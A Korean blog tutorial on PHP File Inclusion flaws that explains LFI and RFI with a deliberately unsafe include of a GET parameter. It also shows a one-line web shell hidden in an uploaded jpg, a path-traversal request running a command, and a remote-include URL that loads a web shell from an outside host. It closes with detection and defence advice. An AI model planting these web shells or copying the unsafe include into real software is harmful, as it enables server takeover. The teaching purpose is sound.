728x90

File Inclusion

File Inclusion 취약점이란?

공격 대상 서버에 위치한 파일에 포함시켜 읽어오는 공격이다.

 

왜 발생하는가?

PHP 내에서 특정파일을 추출할 수 있는 include() 라는 함수가 존재하기 때문에 발생한다.

추가적으로 설명하면 PHP 코드상에서 include() 라는 함수를 사용 시 input에 대한 적절한 필터링이 이루어지지 않아 발생하는 취약점이다.

 

이 취약점은 어떻게 사용되는 가?

파일이름: page.php
<?php
	if (isset($_GET['page']))
		include_once($_GET['page']);
	else
		include_once("./page/introduce.php");
?>

이렇게 php코드가 현재 페이지를 파라미터로 요청받아 page에 요청한 값을 저장하고 이 값을 서버에서 클라이언트에게 응답을 하는 경우에 발생한다고 알게됬다.

 

ex1 ) LFI (Local File Inclusion) 예제

<?php system($_GET['cmd'] );> 가 저장된 testshell.jpg파일을 업로드하고 업로드 된 파일 경로를 알고 있다면?

예를 들어 업로드 된 파일 경로가 testweb/uploads/ 라고 한다면 위에 설명한 코드블럭에 있는 코드의 File Include 취약점을 이용하여 파라미터를 page.php?page=../../testweb/uploads/testshell.jpg&cmd=id 이렇게 요청한다면 웹쉘을 웹서버에서 실행되는 확장자가 아니더라도 웹쉘코드가 포함되어 있는 jpg파일을 page.php 이라는 파일로 include시킨 후 해당 page.php를 서버에서 실행하기 때문에 웹쉘을 사용할 수 있게 된다.

 

ex2 ) RFI (Remote File Inclusion) 예제

page.php의 코드의 File Include 취약점을 이용하여 공격대상 웹서버 내의 파일이 아닌 외부에 저장된 파일을 page.php라는 파일에 포함시켜 실행할 수 있다. studyExample.com이라는 외부 웹서버에 ex1에서 사용된 웹쉘 코드로 만들어진 testshell.php라는 파일이 저장되어 있다고 가정했을때 page.php?page=http://studyExample.com/testshell.php 공격 대상 웹서버로 요청을 한다면 웹쉘을 사용할 수 있게 된다.

 

두 예제를 보면 RFI와 LFI의 차이점을 알 수 있다.

차이 점을 한줄로 정의 내리자면 공격 대상 웹서버에 공격자가 임의의 파일을 포함시키고자 할때, 그 임의의 파일이 공격 대상 웹서버 기준으로 내부에 저장되어있느냐 외부에 저장되어있느냐!!!

 

이 취약점을 어떻게 발견 할 수 있는가?

파라미터에 ../ 를 넣어 확인한다. ex) test.php?page=../   전송~ 

전송 후 include 관련 에러메세지가 응답된다면 취약점이 존재할 가능성이 높다고 생각한다.

GET, POST를 사용하여 현재 요청하는 php파일의 include 부분을 건드릴 수 있게 요청을 할 수 있다면 File Include 취약점을 고려해봐야한다.

 

그렇다면 어떻게 막는가?

1) 허용된 파일 목록 사용 (화이트 리스트 필터링): 특정 파일만 포함할 수 있도록 허용된 파일 목록을 만들어 두고, 사용자가 해당 목록에 있는 파일만 접근할 수 있도록 제한해야 한다.

2) 외부 파일 포함 방지: php.ini 설정에서 allow_url_includeOff로 설정하여 원격 파일을 포함할 수 없도록 해야 한다.

3) 파일 경로 검증: 사용자가 입력한 경로를 서버 내부 파일에 한정시키고, 경로 조작(path traversal)을 방지하기 위해 파일 경로 검증을 철저히 해야 한다.

4) 절대 경로 사용: 파일을 포함할 때는 사용자 입력 값을 절대 경로로 변환하여 사용하는 것이 좋다.

 

728x90

'Game > Web' 카테고리의 다른 글

Web Hacking-(SQL Injection) - "sbadmin"  (0) 2024.09.04